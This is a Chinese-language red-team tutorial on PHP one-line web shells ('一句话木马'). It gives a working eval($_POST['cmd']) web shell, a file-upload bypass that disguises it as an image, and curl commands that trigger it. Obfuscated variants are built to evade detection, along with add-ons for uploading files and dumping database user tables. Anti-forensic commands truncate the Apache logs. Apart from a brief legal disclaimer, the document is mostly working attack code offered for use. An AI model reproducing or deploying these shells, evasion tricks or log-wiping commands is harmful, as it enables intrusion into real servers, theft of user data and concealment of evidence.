一、一句话木马的攻击基础

一句话木马被称为红队渗透中的「万能钥匙」,它因简洁高效的特性而广受攻击者青睐。这类木马通常是通过简单的代码片段嵌入目标服务器,并利用它实现远程代码执行或文件操作。我们可以将一句话木马理解为一个功能精简的后门程序,专为目标系统的初步控制设计。

一句话木马的核心在于其隐蔽性和通用性:它通常只有几行代码,有时甚至是一个函数调用,因此难以被传统的规则检测工具捕获。但要真正发挥它的威力,攻击者需要结合实际场景进行定制,比如绕过防护机制、隐藏流量痕迹等。

我们将从攻击原理、实战代码到免杀技巧,逐步拆解一句话木马的完整攻击链。

---

黑客示意图

二、架设目标:环境搭建与需求分析

在正式实验之前,我们需要一个基本的测试环境。这里我们使用以下工具和平台:

环境组件

  • 目标服务器:运行 PHP 的 Apache 服务器(推荐使用 XAMPP 或 Docker)
  • 攻击机:Kali Linux,预装 Python 和各种常用工具
  • 辅助工具:Burp Suite,用于流量分析;VSCode,用于代码审查

实验场景

目标服务器上存在一个文件上传功能,允许上传图片文件。在这种情况下,攻击者可以尝试上传一个伪装为图片的一句话木马,然后通过浏览器或命令行触发执行。

快速部署

以下是通过 Docker 快速搭建 PHP 环境的命令: <pre><code class="language-bash"># 拉取 PHP + Apache 镜像 docker pull php:7.4-apache

创建一个临时目录作为网站根目录

mkdir /tmp/testsite &amp;&amp; cd /tmp/testsite

启动容器并挂载网站目录

docker run -d -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache</code></pre>

目标环境搭建完成后,使用浏览器访问 http://<服务器IP>:8080,确保 PHP 正常运行。

---

黑客示意图

三、隐藏的利刃:一句话木马构造

一句话木马的核心在于简洁。以 PHP 为例,最经典的形式如下: <pre><code class="language-php">&lt;?php @eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre> 这段代码接受攻击者通过 HTTP POST 方法传递的 cmd 参数,并通过 eval() 函数执行任意代码。其优点在于:

  1. 体积小:容易隐藏在其它文件中。
  2. 功能强:可以执行任何形式的代码,甚至加载远程脚本。

攻击链场景

假设目标服务器允许上传图片,而上传文件的扩展名只检查是否为 .jpg.png。攻击者可以将木马嵌入一个伪装的图片文件中,例如: <pre><code class="language-php">&lt;?php @eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre> 然后用以下命令生成伪装图片: <pre><code class="language-bash"># 生成一个伪装图片文件 echo &quot;&lt;?php @eval(\$_POST[&#039;cmd&#039;]); ?&gt;&quot; &gt; shell.php.jpg</code></pre>

上传后,我们可以通过以下命令触发远程执行: <pre><code class="language-bash"># 发送 POST 请求执行命令 curl -X POST -d &quot;cmd=phpinfo();&quot; http://&lt;目标服务器&gt;/uploads/shell.php.jpg</code></pre>

---

四、免杀艺术:绕过检测机制

现代防御系统对上述经典木马已经有较强的检测能力,为了逃避检测,我们需要对其进行混淆或改写。

方法 1:字符串拼接

通过动态生成代码来避免静态规则检测: <pre><code class="language-php">&lt;?php $fn = &quot;eva&quot;.&quot;l&quot;; @$fn($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

黑客示意图

方法 2:Base64 混淆

将木马代码编码为 Base64 格式,在运行时解码: <pre><code class="language-php">&lt;?php $code = base64_decode(&quot;QGV2YWwoJF9QT1NUW2NtZF0pOw==&quot;); @eval($code); ?&gt;</code></pre>

方法 3:内存加载

将代码以文件形式写入目标服务器后,再从内存中执行: <pre><code class="language-php">&lt;?php $filename = &quot;/tmp/shell.php&quot;; file_put_contents($filename, &quot;&lt;?php @eval(\$_POST[&#039;cmd&#039;]); ?&gt;&quot;); include $filename; ?&gt;</code></pre>

---

五、扩展功能:木马的武器化改造

黑客示意图

一句话木马的功能不仅限于代码执行,以下是几个经典的扩展能力:

文件管理

实现文件上传与下载能力: <pre><code class="language-php">&lt;?php if ($_FILES) { move_uploaded_file($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], $_FILES[&quot;file&quot;][&quot;name&quot;]); } ?&gt;</code></pre> 攻击者可以通过以下方式上传远程文件: <pre><code class="language-bash">curl -F &quot;file=@local_file.txt&quot; http://&lt;目标服务器&gt;/uploads/shell.php</code></pre>

数据窃取

通过木马直接读取数据库信息: <pre><code class="language-php">&lt;?php $db = new mysqli(&quot;localhost&quot;, &quot;root&quot;, &quot;password&quot;, &quot;dbname&quot;); $res = $db-&gt;query(&quot;SELECT * FROM users&quot;); while ($row = $res-&gt;fetch_assoc()) { echo json_encode($row); } ?&gt;</code></pre>

---

六、痕迹清理与隐蔽存活

攻击完成后,清理痕迹是红队行动的重要环节。以下是几个常见的清理技巧:

删除上传的木马

通过木马本身删除自己: <pre><code class="language-php">&lt;?php unlink(__FILE__); ?&gt;</code></pre>

日志清理

清除 Web 服务器日志中的记录: <pre><code class="language-bash"># 对于 Apache: truncate -s 0 /var/log/apache2/access.log truncate -s 0 /var/log/apache2/error.log</code></pre>

流量伪装

使用 HTTPS 或混淆流量,避免被 IDS/IPS 发现: <pre><code class="language-bash"># 利用 openssl 创建伪装的 HTTPS 流量 openssl s_client -connect &lt;目标服务器&gt;:443</code></pre>

---

七、个人经验与建议

一句话木马虽小,但威力巨大。作为红队成员,我有以下几点经验分享:

  1. 环境测试为先:在正式行动前,务必在沙箱环境中验证木马的功能,避免因疏忽导致失败。
  2. 变种设计:针对目标防御机制,设计多种变种以提高成功率。
  3. 痕迹管理:攻击完成后,应彻底清除所有可疑文件和日志记录。
  4. 合法授权:切记,只能在授权范围内进行渗透测试,否则后果自负。

---

声明:本文内容仅供合法渗透测试与安全研究学习,切勿用于非法用途!